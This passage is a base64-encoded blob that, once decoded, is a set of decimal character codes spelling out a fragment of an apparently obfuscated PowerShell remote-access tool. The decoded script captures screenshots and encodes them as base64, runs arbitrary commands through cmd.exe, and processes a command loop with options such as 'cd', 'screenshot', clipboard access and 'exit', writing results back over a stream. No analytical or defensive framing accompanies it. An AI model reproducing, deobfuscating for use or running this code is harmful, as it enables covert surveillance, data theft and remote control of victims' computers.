OAAgADQAMQAgADEAMAAgADMANgAgADcAMQAgADQANgAgADYANwAgADEAMQAxACAAMQAxADIAIAAxADIAMQAgADcAMAAgADEAMQA0ACAAMQAxADEAIAAxADAAOQAgADgAMwAgADkAOQAgADEAMQA0ACAAMQAwADEAIAAxADAAMQAgADEAMQAwACAANAAwACAANAA4ACAANAA0ACAANAA4ACAANAA0ACAANAA4ACAANAA0ACAANAA4ACAANAA0ACAAMwA2ACAAOQA4ACAANAA2ACAAOAAzACAAMQAwADUAIAAxADIAMgAgADEAMAAxACAANAAxACAAMQAwACAAMwA2ACAAMQAwADkAIAA2ADEAIAA3ADgAIAAxADAAMQAgADEAMQA5ACAANAA1ACAANwA5ACAAOQA4ACAAMQAwADYAIAAxADAAMQAgADkAOQAgADEAMQA2ACAAMwAyACAAOAAzACAAMQAyADEAIAAxADEANQAgADEAMQA2ACAAMQAwADEAIAAxADAAOQAgADQANgAgADcAMwAgADcAOQAgADQANgAgADcANwAgADEAMAAxACAAMQAwADkAIAAxADEAMQAgADEAMQA0ACAAMQAyADEAIAA4ADMAIAAxADEANgAgADEAMQA0ACAAMQAwADEAIAA5ADcAIAAxADAAOQAgADEAMAAgADMANgAgADcANAAgADYAMQAgADkAMQAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAA0ADYAIAA2ADgAIAAxADEANAAgADkANwAgADEAMQA5ACAAMQAwADUAIAAxADEAMAAgADEAMAAzACAANAA2ACAANwAzACAAMQAwADkAIAA5ADcAIAAxADAAMwAgADEAMAA1ACAAMQAxADAAIAAxADAAMwAgADQANgAgADcAMwAgADEAMAA5ACAAOQA3ACAAMQAwADMAIAAxADAAMQAgADYANwAgADEAMQAxACAAMQAwADAAIAAxADAAMQAgADkAOQAgADcAMwAgADEAMQAwACAAMQAwADIAIAAxADEAMQAgADkAMwAgADUAOAAgADUAOAAgADcAMQAgADEAMAAxACAAMQAxADYAIAA3ADMAIAAxADAAOQAgADkANwAgADEAMAAzACAAMQAwADEAIAA2ADkAIAAxADEAMAAgADkAOQAgADEAMQAxACAAMQAwADAAIAAxADAAMQAgADEAMQA0ACAAMQAxADUAIAA0ADAAIAA0ADEAIAAxADIANAAgADYAMwAgADEAMgAzACAAMwA2ACAAOQA1ACAANAA2ACAANwA3ACAAMQAwADUAIAAxADAAOQAgADEAMAAxACAAOAA0ACAAMQAyADEAIAAxADEAMgAgADEAMAAxACAANAA1ACAAMQAwADEAIAAxADEAMwAgADMAOQAgADEAMAA1ACAAMQAwADkAIAA5ADcAIAAxADAAMwAgADEAMAAxACAANAA3ACAAMQAwADYAIAAxADEAMgAgADEAMAAxACAAMQAwADMAIAAzADkAIAAxADIANQAgADEAMAAgADMANgAgADYAOQAgADYAMQAgADcAOAAgADEAMAAxACAAMQAxADkAIAA0ADUAIAA3ADkAIAA5ADgAIAAxADAANgAgADEAMAAxACAAOQA5ACAAMQAxADYAIAAzADIAIAA4ADMAIAAxADIAMQAgADEAMQA1ACAAMQAxADYAIAAxADAAMQAgADEAMAA5ACAANAA2ACAANgA4ACAAMQAxADQAIAA5ADcAIAAxADEAOQAgADEAMAA1ACAAMQAxADAAIAAxADAAMwAgADQANgAgADcAMwAgADEAMAA5ACAAOQA3ACAAMQAwADMAIAAxADAANQAgADEAMQAwACAAMQAwADMAIAA0ADYAIAA2ADkAIAAxADEAMAAgADkAOQAgADEAMQAxACAAMQAwADAAIAAxADAAMQAgADEAMQA0ACAAOAAwACAAOQA3ACAAMQAxADQAIAA5ADcAIAAxADAAOQAgADEAMAAxACAAMQAxADYAIAAxADAAMQAgADEAMQA0ACAAMQAxADUAIAA0ADAAIAA0ADkAIAA0ADEAIAAxADAAIAAzADYAIAA2ADkAIAA0ADYAIAA4ADAAIAA5ADcAIAAxADEANAAgADkANwAgADEAMAA5ACAAOQAxACAANAA4ACAAOQAzACAANgAxACAANwA4ACAAMQAwADEAIAAxADEAOQAgADQANQAgADcAOQAgADkAOAAgADEAMAA2ACAAMQAwADEAIAA5ADkAIAAxADEANgAgADMAMgAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAA0ADYAIAA2ADgAIAAxADEANAAgADkANwAgADEAMQA5ACAAMQAwADUAIAAxADEAMAAgADEAMAAzACAANAA2ACAANwAzACAAMQAwADkAIAA5ADcAIAAxADAAMwAgADEAMAA1ACAAMQAxADAAIAAxADAAMwAgADQANgAgADYAOQAgADEAMQAwACAAOQA5ACAAMQAxADEAIAAxADAAMAAgADEAMAAxACAAMQAxADQAIAA4ADAAIAA5ADcAIAAxADEANAAgADkANwAgADEAMAA5ACAAMQAwADEAIAAxADEANgAgADEAMAAxACAAMQAxADQAIAA0ADAAIAA5ADEAIAA4ADMAIAAxADIAMQAgADEAMQA1ACAAMQAxADYAIAAxADAAMQAgADEAMAA5ACAANAA2ACAANgA4ACAAMQAxADQAIAA5ADcAIAAxADEAOQAgADEAMAA1ACAAMQAxADAAIAAxADAAMwAgADQANgAgADcAMwAgADEAMAA5ACAAOQA3ACAAMQAwADMAIAAxADAANQAgADEAMQAwACAAMQAwADMAIAA0ADYAIAA2ADkAIAAxADEAMAAgADkAOQAgADEAMQAxACAAMQAwADAAIAAxADAAMQAgADEAMQA0ACAAOQAzACAANQA4ACAANQA4ACAAOAAxACAAMQAxADcAIAA5ADcAIAAxADAAOAAgADEAMAA1ACAAMQAxADYAIAAxADIAMQAgADQANAAgADUAMwAgADQAOAAgADcANgAgADQAMQAgADEAMAAgADMANgAgADkAOAAgADQANgAgADgAMwAgADkANwAgADEAMQA4ACAAMQAwADEAIAA0ADAAIAAzADYAIAAxADAAOQAgADQANAAgADMANgAgADcANAAgADQANAAgADMANgAgADYAOQAgADQAMQAgADUAOQAgADMANgAgADkANwAgADYAMQAgADMANgAgADEAMAA5ACAANAA2ACAAOAA0ACAAMQAxADEAIAA2ADUAIAAxADEANAAgADEAMQA0ACAAOQA3ACAAMQAyADEAIAA0ADAAIAA0ADEAIAAxADAAIAA5ADEAIAAxADEAOAAgADEAMQAxACAAMQAwADUAIAAxADAAMAAgADkAMwAgADMANgAgADEAMAA5ACAANAA2ACAANgA4ACAAMQAwADUAIAAxADEANQAgADEAMQAyACAAMQAxADEAIAAxADEANQAgADEAMAAxACAANAAwACAANAAxACAANQA5ACAAOQAxACAAMQAxADgAIAAxADEAMQAgADEAMAA1ACAAMQAwADAAIAA5ADMAIAAzADYAIAA5ADgAIAA0ADYAIAA2ADgAIAAxADAANQAgADEAMQA1ACAAMQAxADIAIAAxADEAMQAgADEAMQA1ACAAMQAwADEAIAA0ADAAIAA0ADEAIAA1ADkAIAA5ADEAIAAxADEAOAAgADEAMQAxACAAMQAwADUAIAAxADAAMAAgADkAMwAgADMANgAgADcAMQAgADQANgAgADYAOAAgADEAMAA1ACAAMQAxADUAIAAxADEAMgAgADEAMQAxACAAMQAxADUAIAAxADAAMQAgADQAMAAgADQAMQAgADEAMAAgADEAMQA0ACAAMQAwADEAIAAxADEANgAgADEAMQA3ACAAMQAxADQAIAAxADEAMAAgADMAMgAgADMANAAgADcAMAAgADgAMgAgADYANQAgADcANwAgADYAOQAgADUAOAAgADMANgAgADQAMAAgADkAMQAgADYANwAgADEAMQAxACAAMQAxADAAIAAxADEAOAAgADEAMAAxACAAMQAxADQAIAAxADEANgAgADkAMwAgADUAOAAgADUAOAAgADgANAAgADEAMQAxACAANgA2ACAAOQA3ACAAMQAxADUAIAAxADAAMQAgADUANAAgADUAMgAgADgAMwAgADEAMQA2ACAAMQAxADQAIAAxADAANQAgADEAMQAwACAAMQAwADMAIAA0ADAAIAAzADYAIAA5ADcAIAA0ADEAIAA0ADEAIAA1ADgAIAAzADYAIAAxADIAMwAgADgANwAgADEAMgA1ACAANQA4ACAAMwA2ACAAMQAyADMAIAA3ADIAIAAxADIANQAgADMANAAgADEAMgA1ACAAOQA5ACAAOQA3ACAAMQAxADYAIAA5ADkAIAAxADAANAAgADEAMgAzACAAMQAxADQAIAAxADAAMQAgADEAMQA2ACAAMQAxADcAIAAxADEANAAgADEAMQAwACAAMwA0ACAANwA4ACAANwA5ACAANwAwACAAOAAyACAANgA1ACAANwA3ACAANgA5ACAAMwA0ACAAMQAyADUAIAAxADIANQAgADEAMAAgADEAMAAyACAAMQAxADcAIAAxADEAMAAgADkAOQAgADEAMQA2ACAAMQAwADUAIAAxADEAMQAgADEAMQAwACAAMwAyACAAMQAyADAAIAA0ADAAIAAzADYAIAA5ADkAIAA0ADEAIAAxADIAMwAgADEAMAAgADEAMQA2ACAAMQAxADQAIAAxADIAMQAgADEAMgAzACAAMQAwACAAMwA2ACAAMQAxADIAIAA2ADEAIAA3ADgAIAAxADAAMQAgADEAMQA5ACAANAA1ACAANwA5ACAAOQA4ACAAMQAwADYAIAAxADAAMQAgADkAOQAgADEAMQA2ACAAMwAyACAAOAAzACAAMQAyADEAIAAxADEANQAgADEAMQA2ACAAMQAwADEAIAAxADAAOQAgADQANgAgADYAOAAgADEAMAA1ACAAOQA3ACAAMQAwADMAIAAxADEAMAAgADEAMQAxACAAMQAxADUAIAAxADEANgAgADEAMAA1ACAAOQA5ACAAMQAxADUAIAA0ADYAIAA4ADAAIAAxADEANAAgADEAMQAxACAAOQA5ACAAMQAwADEAIAAxADEANQAgADEAMQA1ACAAOAAzACAAMQAxADYAIAA5ADcAIAAxADEANAAgADEAMQA2ACAANwAzACAAMQAxADAAIAAxADAAMgAgADEAMQAxACAAMQAwACAAMwA2ACAAMQAxADIAIAA0ADYAIAA3ADAAIAAxADAANQAgADEAMAA4ACAAMQAwADEAIAA3ADgAIAA5ADcAIAAxADAAOQAgADEAMAAxACAANgAxACAAMwA5ACAAOQA5ACAAMQAwADkAIAAxADAAMAAgADQANgAgADEAMAAxACAAMQAyADAAIAAxADAAMQAgADMAOQAgADUAOQAgADMANgAgADEAMQAyACAANAA2ACAANgA1ACAAMQAxADQAIAAxADAAMwAgADEAMQA3ACAAMQAwADkAIAAxADAAMQAgADEAMQAwACAAMQAxADYAIAAxADEANQAgADYAMQAgADMANAAgADQANwAgADkAOQAgADMAMgAgADMANgAgADkAOQAgADMANAAgADEAMAAgADMANgAgADEAMQAyACAANAA2ACAAOAAyACAAMQAwADEAIAAxADAAMAAgADEAMAA1ACAAMQAxADQAIAAxADAAMQAgADkAOQAgADEAMQA2ACAAOAAzACAAMQAxADYAIAA5ADcAIAAxADEAMAAgADEAMAAwACAAOQA3ACAAMQAxADQAIAAxADAAMAAgADcAOQAgADEAMQA3ACAAMQAxADYAIAAxADEAMgAgADEAMQA3ACAAMQAxADYAIAA2ADEAIAAzADYAIAAxADEANgAgADEAMQA0ACAAMQAxADcAIAAxADAAMQAgADUAOQAgADMANgAgADEAMQAyACAANAA2ACAAOAAyACAAMQAwADEAIAAxADAAMAAgADEAMAA1ACAAMQAxADQAIAAxADAAMQAgADkAOQAgADEAMQA2ACAAOAAzACAAMQAxADYAIAA5ADcAIAAxADEAMAAgADEAMAAwACAAOQA3ACAAMQAxADQAIAAxADAAMAAgADYAOQAgADEAMQA0ACAAMQAxADQAIAAxADEAMQAgADEAMQA0ACAANgAxACAAMwA2ACAAMQAxADYAIAAxADEANAAgADEAMQA3ACAAMQAwADEAIAAxADAAIAAzADYAIAAxADEAMgAgADQANgAgADgANQAgADEAMQA1ACAAMQAwADEAIAA4ADMAIAAxADAANAAgADEAMAAxACAAMQAwADgAIAAxADAAOAAgADYAOQAgADEAMgAwACAAMQAwADEAIAA5ADkAIAAxADEANwAgADEAMQA2ACAAMQAwADEAIAA2ADEAIAAzADYAIAAxADAAMgAgADkANwAgADEAMAA4ACAAMQAxADUAIAAxADAAMQAgADUAOQAgADMANgAgADEAMQAyACAANAA2ACAANgA3ACAAMQAxADQAIAAxADAAMQAgADkANwAgADEAMQA2ACAAMQAwADEAIAA3ADgAIAAxADEAMQAgADgANwAgADEAMAA1ACAAMQAxADAAIAAxADAAMAAgADEAMQAxACAAMQAxADkAIAA2ADEAIAAzADYAIAAxADEANgAgADEAMQA0ACAAMQAxADcAIAAxADAAMQAgADEAMAAgADMANgAgADgAMAAgADYAMQAgADkAMQAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAA0ADYAIAA2ADgAIAAxADAANQAgADkANwAgADEAMAAzACAAMQAxADAAIAAxADEAMQAgADEAMQA1ACAAMQAxADYAIAAxADAANQAgADkAOQAgADEAMQA1ACAANAA2ACAAOAAwACAAMQAxADQAIAAxADEAMQAgADkAOQAgADEAMAAxACAAMQAxADUAIAAxADEANQAgADkAMwAgADUAOAAgADUAOAAgADgAMwAgADEAMQA2ACAAOQA3ACAAMQAxADQAIAAxADEANgAgADQAMAAgADMANgAgADEAMQAyACAANAAxACAAMQAwACAAMwA2ACAAMQAxADEAIAA2ADEAIAAzADYAIAA4ADAAIAA0ADYAIAA4ADMAIAAxADEANgAgADkANwAgADEAMQAwACAAMQAwADAAIAA5ADcAIAAxADEANAAgADEAMAAwACAANwA5ACAAMQAxADcAIAAxADEANgAgADEAMQAyACAAMQAxADcAIAAxADEANgAgADQANgAgADgAMgAgADEAMAAxACAAOQA3ACAAMQAwADAAIAA4ADQAIAAxADEAMQAgADYAOQAgADEAMQAwACAAMQAwADAAIAA0ADAAIAA0ADEAIAA1ADkAIAAzADYAIAAxADAAMQAgADYAMQAgADMANgAgADgAMAAgADQANgAgADgAMwAgADEAMQA2ACAAOQA3ACAAMQAxADAAIAAxADAAMAAgADkANwAgADEAMQA0ACAAMQAwADAAIAA2ADkAIAAxADEANAAgADEAMQA0ACAAMQAxADEAIAAxADEANAAgADQANgAgADgAMgAgADEAMAAxACAAOQA3ACAAMQAwADAAIAA4ADQAIAAxADEAMQAgADYAOQAgADEAMQAwACAAMQAwADAAIAA0ADAAIAA0ADEAIAAxADAAIAA5ADEAIAAxADEAOAAgADEAMQAxACAAMQAwADUAIAAxADAAMAAgADkAMwAgADMANgAgADgAMAAgADQANgAgADgANwAgADkANwAgADEAMAA1ACAAMQAxADYAIAA3ADAAIAAxADEAMQAgADEAMQA0ACAANgA5ACAAMQAyADAAIAAxADAANQAgADEAMQA2ACAANAAwACAANAA5ACAANQAzACAANAA4ACAANAA4ACAANAA4ACAANAAxACAANQA5ACAAMwA2ACAAMQAxADQAIAA2ADEAIAAzADQAIAAzADYAIAAxADEAMQAgADkANgAgADEAMQAwACAAMwA2ACAAMQAwADEAIAAzADQAIAAxADAAIAAxADAANQAgADEAMAAyACAANAAwACAAOQAxACAAMQAxADUAIAAxADEANgAgADEAMQA0ACAAMQAwADUAIAAxADEAMAAgADEAMAAzACAAOQAzACAANQA4ACAANQA4ACAANwAzACAAMQAxADUAIAA3ADgAIAAxADEANwAgADEAMAA4ACAAMQAwADgAIAA3ADkAIAAxADEANAAgADgANwAgADEAMAA0ACAAMQAwADUAIAAxADEANgAgADEAMAAxACAAOAAzACAAMQAxADIAIAA5ADcAIAA5ADkAIAAxADAAMQAgADQAMAAgADMANgAgADEAMQA0ACAANAAxACAANAAxACAAMQAyADMAIAAxADEANAAgADEAMAAxACAAMQAxADYAIAAxADEANwAgADEAMQA0ACAAMQAxADAAIAAzADQAIAA0ADAAIAAxADEAMAAgADEAMQAxACAAMwAyACAAMQAxADEAIAAxADEANwAgADEAMQA2ACAAMQAxADIAIAAxADEANwAgADEAMQA2ACAANAAxACAAMwA0ACAAMQAyADUAIAAxADAAIAAxADEANAAgADEAMAAxACAAMQAxADYAIAAxADEANwAgADEAMQA0ACAAMQAxADAAIAAzADIAIAAzADYAIAAxADEANAAgADQANgAgADgANAAgADEAMQA0ACAAMQAwADUAIAAxADAAOQAgADQAMAAgADQAMQAgADEAMgA1ACAAOQA5ACAAOQA3ACAAMQAxADYAIAA5ADkAIAAxADAANAAgADEAMgAzACAAMQAxADQAIAAxADAAMQAgADEAMQA2ACAAMQAxADcAIAAxADEANAAgADEAMQAwACAAMwA0ACAANgA5ACAAMQAxADQAIAAxADEANAAgADEAMQAxACAAMQAxADQAIAAzADQAIAAxADIANQAgADEAMgA1ACAAMQAwACAAMQAxADkAIAAxADAANAAgADEAMAA1ACAAMQAwADgAIAAxADAAMQAgADQAMAAgADMANgAgADEAMQA2ACAANAA2ACAANgA3ACAAMQAxADEAIAAxADEAMAAgADEAMQAwACAAMQAwADEAIAA5ADkAIAAxADEANgAgADEAMAAxACAAMQAwADAAIAA0ADEAIAAxADIAMwAgADEAMAAgADgAMwAgADEAMQA2ACAAOQA3ACAAMQAxADQAIAAxADEANgAgADQANQAgADgAMwAgADEAMAA4ACAAMQAwADEAIAAxADAAMQAgADEAMQAyACAAMwAyACAANAA5ACAAMQAwACAAMQAwADUAIAAxADAAMgAgADQAMAAgADMANgAgADEAMQA1ACAANAA2ACAANgA4ACAAOQA3ACAAMQAxADYAIAA5ADcAIAA2ADUAIAAxADEAOAAgADkANwAgADEAMAA1ACAAMQAwADgAIAA5ADcAIAA5ADgAIAAxADAAOAAgADEAMAAxACAANAAxACAAMQAyADMAIAAxADAAIAAzADYAIAAxADEANAAgADkANwAgADEAMQA5ACAANgAxACAANAAwACAANwA4ACAAMQAwADEAIAAxADEAOQAgADQANQAgADcAOQAgADkAOAAgADEAMAA2ACAAMQAwADEAIAA5ADkAIAAxADEANgAgADMAMgAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAA0ADYAIAA3ADMAIAA3ADkAIAA0ADYAIAA4ADMAIAAxADEANgAgADEAMQA0ACAAMQAwADEAIAA5ADcAIAAxADAAOQAgADgAMgAgADEAMAAxACAAOQA3ACAAMQAwADAAIAAxADAAMQAgADEAMQA0ACAANAAwACAAMwA2ACAAMQAxADUAIAA0ADEAIAA0ADEAIAA0ADYAIAA4ADIAIAAxADAAMQAgADkANwAgADEAMAAwACAANwA2ACAAMQAwADUAIAAxADEAMAAgADEAMAAxACAANAAwACAANAAxACAAMQAwACAAMQAwADUAIAAxADAAMgAgADQAMAAgADMAMwAgADMANgAgADEAMQA0ACAAOQA3ACAAMQAxADkAIAA0ADEAIAAxADIAMwAgADkAOQAgADEAMQAxACAAMQAxADAAIAAxADEANgAgADEAMAA1ACAAMQAxADAAIAAxADEANwAgADEAMAAxACAAMQAyADUAIAAxADAAIAAxADAANQAgADEAMAAyACAANAAwACAAMwA2ACAAMQAxADQAIAA5ADcAIAAxADEAOQAgADMAMgAgADQANQAgADEAMAAxACAAMQAxADMAIAAzADIAIAAzADkAIAAxADAAMQAgADEAMgAwACAAMQAwADUAIAAxADEANgAgADMAOQAgADQAMQAgADEAMgAzACAAOQA4ACAAMQAxADQAIAAxADAAMQAgADkANwAgADEAMAA3ACAAMQAyADUAIAAxADAAIAAxADAAMQAgADEAMAA4ACAAMQAxADUAIAAxADAAMQAgADEAMAA1ACAAMQAwADIAIAA0ADAAIAAzADYAIAAxADEANAAgADkANwAgADEAMQA5ACAAMwAyACAANAA1ACAAMQAwADEAIAAxADEAMwAgADMAMgAgADMAOQAgADEAMQA5ACAAMQAwADQAIAAxADEAMQAgADkANwAgADEAMAA5ACAAMQAwADUAIAAzADkAIAA0ADEAIAAxADIAMwAgADMANgAgADEAMQA5ACAANAA2ACAAOAA3ACAAMQAxADQAIAAxADAANQAgADEAMQA2ACAAMQAwADEAIAA0ADAAIAAzADQAIAAzADYAIAAxADAAMQAgADEAMQAwACAAMQAxADgAIAA1ADgAIAA4ADUAIAA4ADMAIAA2ADkAIAA4ADIAIAA3ADgAIAA2ADUAIAA3ADcAIAA2ADkAIAA5ADYAIAAxADEAMAAgADMANAAgADQAMQAgADEAMgA1ACAAMQAwACAAMQAwADEAIAAxADAAOAAgADEAMQA1ACAAMQAwADEAIAAxADAANQAgADEAMAAyACAANAAwACAAMwA2ACAAMQAxADQAIAA5ADcAIAAxADEAOQAgADMAMgAgADQANQAgADEAMAAxACAAMQAxADMAIAAzADIAIAAzADkAIAAxADAANAAgADEAMQAxACAAMQAxADUAIAAxADEANgAgADEAMQAwACAAOQA3ACAAMQAwADkAIAAxADAAMQAgADMAOQAgADQAMQAgADEAMgAzACAAMwA2ACAAMQAxADkAIAA0ADYAIAA4ADcAIAAxADEANAAgADEAMAA1ACAAMQAxADYAIAAxADAAMQAgADQAMAAgADMANAAgADMANgAgADEAMAA0ACAAOQA2ACAAMQAxADAAIAAzADQAIAA0ADEAIAAxADIANQAgADEAMAAgADEAMAAxACAAMQAwADgAIAAxADEANQAgADEAMAAxACAAMQAwADUAIAAxADAAMgAgADQAMAAgADMANgAgADEAMQA0ACAAOQA3ACAAMQAxADkAIAAzADIAIAA0ADUAIAAxADAAMQAgADEAMQAzACAAMwAyACAAMwA5ACAAMQAxADIAIAAxADEAOQAgADEAMAAwACAAMwA5ACAANAAxACAAMQAyADMAIAAzADYAIAAxADEAOQAgADQANgAgADgANwAgADEAMQA0ACAAMQAwADUAIAAxADEANgAgADEAMAAxACAANAAwACAAMwA0ACAAMwA2ACAAMQAxADIAIAAxADEAOQAgADEAMAAwACAAOQA2ACAAMQAxADAAIAAzADQAIAA0ADEAIAAxADIANQAgADEAMAAgADEAMAAxACAAMQAwADgAIAAxADEANQAgADEAMAAxACAAMQAwADUAIAAxADAAMgAgADQAMAAgADMANgAgADEAMQA0ACAAOQA3ACAAMQAxADkAIAAzADIAIAA0ADUAIAAxADAAMQAgADEAMQAzACAAMwAyACAAMwA5ACAAMQAwADQAIAAxADAAMQAgADEAMAA4ACAAMQAxADIAIAAzADkAIAA0ADEAIAAxADIAMwAgADMANgAgADEAMQA5ACAANAA2ACAAOAA3ACAAMQAxADQAIAAxADAANQAgADEAMQA2ACAAMQAwADEAIAA0ADAAIAAzADQAIAA2ADcAIAAxADEAMQAgADEAMAA5ACAAMQAwADkAIAA5ADcAIAAxADEAMAAgADEAMAAwACAAMQAxADUAIAA1ADgAIAAzADIAIAAxADEAOQAgADEAMAA0ACAAMQAxADEAIAA5ADcAIAAxADAAOQAgADEAMAA1ACAAMwAyACAAMQAwADQAIAAxADEAMQAgADEAMQA1ACAAMQAxADYAIAAxADEAMAAgADkANwAgADEAMAA5ACAAMQAwADEAIAAzADIAIAAxADEAMgAgADEAMQA5ACAAMQAwADAAIAAzADIAIAA5ADkAIAAxADAAOQAgADEAMAAwACAANQA4ACAAMQAyADAAIAAxADIAMAAgADEAMgAwACAAMwAyACAAMQAxADIAIAAxADEANQAgADUAOAAgADEAMgAwACAAMQAyADAAIAAxADIAMAAgADMAMgAgADEAMAAyACAAMQAxADQAIAA5ADcAIAAxADAAOQAgADEAMAAxACAAMwAyACAAMQAxADUAIAA5ADkAIAAxADEANAAgADEAMAAxACAAMQAwADEAIAAxADEAMAAgADEAMQA1ACAAMQAwADQAIAAxADEAMQAgADEAMQA2ACAAMwAyACAAMQAwADUAIAAxADEAMAAgADEAMAAyACAAMQAxADEAIAAzADIAIAAxADAAMQAgADEAMgAwACAAMQAwADUAIAAxADEANgAgADkANgAgADEAMQAwACAAMwA0ACAANAAxACAAMQAyADUAIAAxADAAIAAxADAAMQAgADEAMAA4ACAAMQAxADUAIAAxADAAMQAgADEAMAA1ACAAMQAwADIAIAA0ADAAIAAzADYAIAAxADEANAAgADkANwAgADEAMQA5ACAAMwAyACAANAA1ACAAMQAwADEAIAAxADEAMwAgADMAMgAgADMAOQAgADEAMAAyACAAMQAxADQAIAA5ADcAIAAxADAAOQAgADEAMAAxACAAMwA5ACAAMwAyACAANAA1ACAAMQAxADEAIAAxADEANAAgADMAMgAgADMANgAgADEAMQA0ACAAOQA3ACAAMQAxADkAIAAzADIAIAA0ADUAIAAxADAAOAAgADEAMAA1ACAAMQAwADcAIAAxADAAMQAgADMAMgAgADMAOQAgADEAMAAyACAAMQAxADQAIAA5ADcAIAAxADAAOQAgADEAMAAxACAANQA4ACAANAAyACAAMwA5ACAANAAxACAAMQAyADMAIAAzADYAIAAxADAAMgAgADYAMQAgADEAMAAzACAANQA5ACAAMwA2ACAAMQAxADkAIAA0ADYAIAA4ADcAIAAxADEANAAgADEAMAA1ACAAMQAxADYAIAAxADAAMQAgADQAMAAgADMANAAgADMANgAgADEAMAAyACAAOQA2ACAAMQAxADAAIAAzADQAIAA0ADEAIAAxADIANQAgADEAMAAgADEAMAAxACAAMQAwADgAIAAxADEANQAgADEAMAAxACAAMQAwADUAIAAxADAAMgAgADQAMAAgADMANgAgADEAMQA0ACAAOQA3ACAAMQAxADkAIAAzADIAIAA0ADUAIAAxADAAMQAgADEAMQAzACAAMwAyACAAMwA5ACAAMQAxADUAIAA5ADkAIAAxADEANAAgADEAMAAxACAAMQAwADEAIAAxADEAMAAgADEAMQA1ACAAMQAwADQAIAAxADEAMQAgADEAMQA2ACAAMwA5ACAANAAxACAAMQAyADMAIAAzADYAIAAxADAAMgAgADYAMQAgADEAMAAzACAANQA5ACAAMwA2ACAAMQAxADkAIAA0ADYAIAA4ADcAIAAxADEANAAgADEAMAA1ACAAMQAxADYAIAAxADAAMQAgADQAMAAgADMANAAgADMANgAgADEAMAAyACAAOQA2ACAAMQAxADAAIAAzADQAIAA0ADEAIAAxADIANQAgADEAMAAgADEAMAAxACAAMQAwADgAIAAxADEANQAgADEAMAAxACAAMQAwADUAIAAxADAAMgAgADQAMAAgADMANgAgADEAMQA0ACAAOQA3ACAAMQAxADkAIAAzADIAIAA0ADUAIAAxADAAOAAgADEAMAA1ACAAMQAwADcAIAAxADAAMQAgADMAMgAgADMAOQAgADkAOQAgADEAMAA5ACAAMQAwADAAIAA1ADgAIAA0ADIAIAAzADkAIAAzADIAIAA0ADUAIAAxADEAMQAgADEAMQA0ACAAMwAyACAAMwA2ACAAMQAxADQAIAA5ADcAIAAxADEAOQAgADMAMgAgADQANQAgADEAMAA4ACAAMQAwADUAIAAxADAANwAgADEAMAAxACAAMwAyACAAMwA5ACAAMQAxADUAIAAxADAANAAgADEAMAAxACAAMQAwADgAIAAxADAAOAAgADUAOAAgADQAMgAgADMAOQAgADMAMgAgADQANQAgADEAMQAxACAAMQAxADQAIAAzADIAIAAzADYAIAAxADEANAAgADkANwAgADEAMQA5ACAAMwAyACAANAA1ACAAMQAwADgAIAAxADAANQAgADEAMAA3ACAAMQAwADEAIAAzADIAIAAzADkAIAAxADAAMQAgADEAMgAwACAAMQAwADEAIAA5ADkAIAA1ADgAIAA0ADIAIAAzADkAIAA0ADEAIAAxADIAMwAgADEAMAAgADMANgAgADkAOQAgADYAMQAgADMANgAgADEAMQA0ACAAOQA3ACAAMQAxADkAIAA0ADYAIAA4ADMAIAAxADEANwAgADkAOAAgADEAMQA1ACAAMQAxADYAIAAxADEANAAgADEAMAA1ACAAMQAxADAAIAAxADAAMwAgADQAMAAgADMANgAgADEAMQA0ACAAOQA3ACAAMQAxADkAIAA0ADYAIAA3ADMAIAAxADEAMAAgADEAMAAwACAAMQAwADEAIAAxADIAMAAgADcAOQAgADEAMAAyACAANAAwACAAMwA5ACAANQA4ACAAMwA5ACAANAAxACAANAAzACAANAA5ACAANAAxACAANQA5ACAAMwA2ACAAMQAxADQAIAA2ADEAIAAxADIAMAAgADMAMgAgADMANgAgADkAOQAgADUAOQAgADMANgAgADEAMQA5ACAANAA2ACAAOAA3ACAAMQAxADQAIAAxADAANQAgADEAMQA2ACAAMQAwADEAIAA0ADAAIAAzADQAIAAzADYAIAAxADEANAAgADkANgAgADEAMQAwACAAMwA0ACAANAAxACAAMQAyADUAIAAxADAAIAAxADAAMQAgADEAMAA4ACAAMQAxADUAIAAxADAAMQAgADEAMAA1ACAAMQAwADIAIAA0ADAAIAAzADYAIAAxADEANAAgADkANwAgADEAMQA5ACAAMwAyACAANAA1ACAAMQAwADgAIAAxADAANQAgADEAMAA3ACAAMQAwADEAIAAzADIAIAAzADkAIAAxADEAMgAgADEAMQA1ACAANQA4ACAANAAyACAAMwA5ACAANAAxACAAMQAyADMAIAAxADAAIAAxADEANgAgADEAMQA0ACAAMQAyADEAIAAxADIAMwAgADMANgAgADEAMQAyACAAMQAxADUAIAA2ADEAIAAxADAANQAgADEAMAAxACAAMQAyADAAIAAzADIAIAAzADYAIAAxADEANAAgADkANwAgADEAMQA5ACAANAA2ACAAOAAzACAAMQAxADcAIAA5ADgAIAAxADEANQAgADEAMQA2ACAAMQAxADQAIAAxADAANQAgADEAMQAwACAAMQAwADMAIAA0ADAAIAA1ADEAIAA0ADEAIAAzADIAIAA1ADAAIAA2ADIAIAAzADgAIAA0ADkAIAAxADIANAAgADcAOQAgADEAMQA3ACAAMQAxADYAIAA0ADUAIAA4ADMAIAAxADEANgAgADEAMQA0ACAAMQAwADUAIAAxADEAMAAgADEAMAAzACAANQA5ACAAMwA2ACAAMQAxADkAIAA0ADYAIAA4ADcAIAAxADEANAAgADEAMAA1ACAAMQAxADYAIAAxADAAMQAgADQAMAAgADMANAAgADMANgAgADEAMQAyACAAMQAxADUAIAA5ADYAIAAxADEAMAAgADMANAAgADQAMQAgADEAMgA1ACAAOQA5ACAAOQA3ACAAMQAxADYAIAA5ADkAIAAxADAANAAgADEAMgAzACAAMwA2ACAAMQAxADkAIAA0ADYAIAA4ADcAIAAxADEANAAgADEAMAA1ACAAMQAxADYAIAAxADAAMQAgADQAMAAgADMANAAgADgAMAAgADgAMwAgADUAOAAgADYAOQAgADEAMQA0ACAAMQAxADQAIAAxADEAMQAgADEAMQA0ACAAOQA2ACAAMQAxADAAIAAzADQAIAA0ADEAIAAxADIANQAgADEAMgA1ACAAMQAwACAAMQAwADEAIAAxADAAOAAgADEAMQA1ACAAMQAwADEAIAAxADAANQAgADEAMAAyACAANAAwACAAMwA2ACAAMQAxADQAIAA5ADcAIAAxADEAOQAgADMAMgAgADQANQAgADEAMAAxACAA